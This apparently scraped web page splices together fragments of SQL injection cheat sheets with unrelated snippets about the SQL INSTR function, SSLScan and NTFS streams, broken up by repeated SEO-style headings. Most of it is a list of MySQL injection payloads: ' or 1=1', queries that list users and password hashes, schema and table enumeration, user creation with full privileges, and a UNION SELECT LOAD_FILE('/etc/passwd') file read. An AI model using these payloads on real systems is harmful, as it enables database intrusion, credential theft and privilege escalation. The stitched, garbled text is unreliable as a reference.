9 – SQL Injection Cheat Sheet 1 – What is SQL Injection and Why Is It Bad? SQL Injection is a type of website attack that allows people to run a malicious SQL statement on a database. An SQL injection attack can result in. Introduction to SQL INSTR INSTR is a string function in standard query language (SQL) which returns the starting position or location of a substring or pattern in the given input string. The INSTR function is specific to Oracle/PL and MYSQL. SQL INJECTION CHEAT SHEET Common SQL Injection Commands for Backend Databases MS-SQL Grab version @@version Users name FROM master.syslogins. Users. from mysql.user Tables tableschema,tablename FROM information schema.tables WHERE tableschema!= ‘mysql’. SQL Injection Cheat Sheet (MYSQL) SQL Injection Cheat Sheet (ORACLE) SQL Injection Cheat Sheet (PostgreSQL) SSLScan. Building OpenSSL on Windows. Enable Windows Remote Desktop remotely. Hiding data in Windows NTFS using Alternative Data Streams. Linux Network in Promiscuous mode.
The complete list of SQL Injection Cheat Sheets I’m working is: Oracle; MSSQL; MySQL; PostgreSQL; Ingres; DB2; Informix; I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here. Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
Small list of MySQL injection commands. These are the commands that come after your actual injection string, Ex: ‘ or 1=1’.
SELECT @@version
— Show version
SELECT 1 #comment
— comment method
SELECT /*comment*/1
— comment method
SELECT user FROM mysql.user
— List Users
SELECT host, user, password FROM mysql.user
— List Password Hashes
SELECT database()
— Show current database
SELECT schema_names FROM information_schema.schemata
— List Databases For MySQL >= v5.0
SELECT distinct(db) FROM mysql.db
— List Databases
SELECT table_schema,table_name FROM information_schema.tables
— List Tables
SELECT table_schema,table_name,column_name FROM information_schema.columns
— List Columns
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name='username'
— Find tables which have a column called ‘username’
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0
— Number rows starting with 0.
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1
— Number rows starting with 1.
SELECT substr('abcd', 3, 1)
— Return Nth Char, Ex. returns ‘c’.
SELECT 6 & 2
— Ex. returns 2, Bitwise AND
SELECT 6 & 1
— Ex. returns 0, Bitwise AND
Oracle Sql Injection Cheat Sheet
CREATE USER test1 IDENTIFIED BY 'pass 1'
— Create User
DROP USER test1
— Delete USER
Mysql Sql Injection Cheat Sheet Printable
GRANT ALL PRIVILEGES ON *.* TO test1 @'%'
— Make User DBA
Mysql Sql Injection Cheat Sheet
SELECT @ @datadir
— Location of DB files
Sqli Cheat Sheet
' UNION ALL SELECT LOAD_FILE('/etc/passwd')
— Local File Access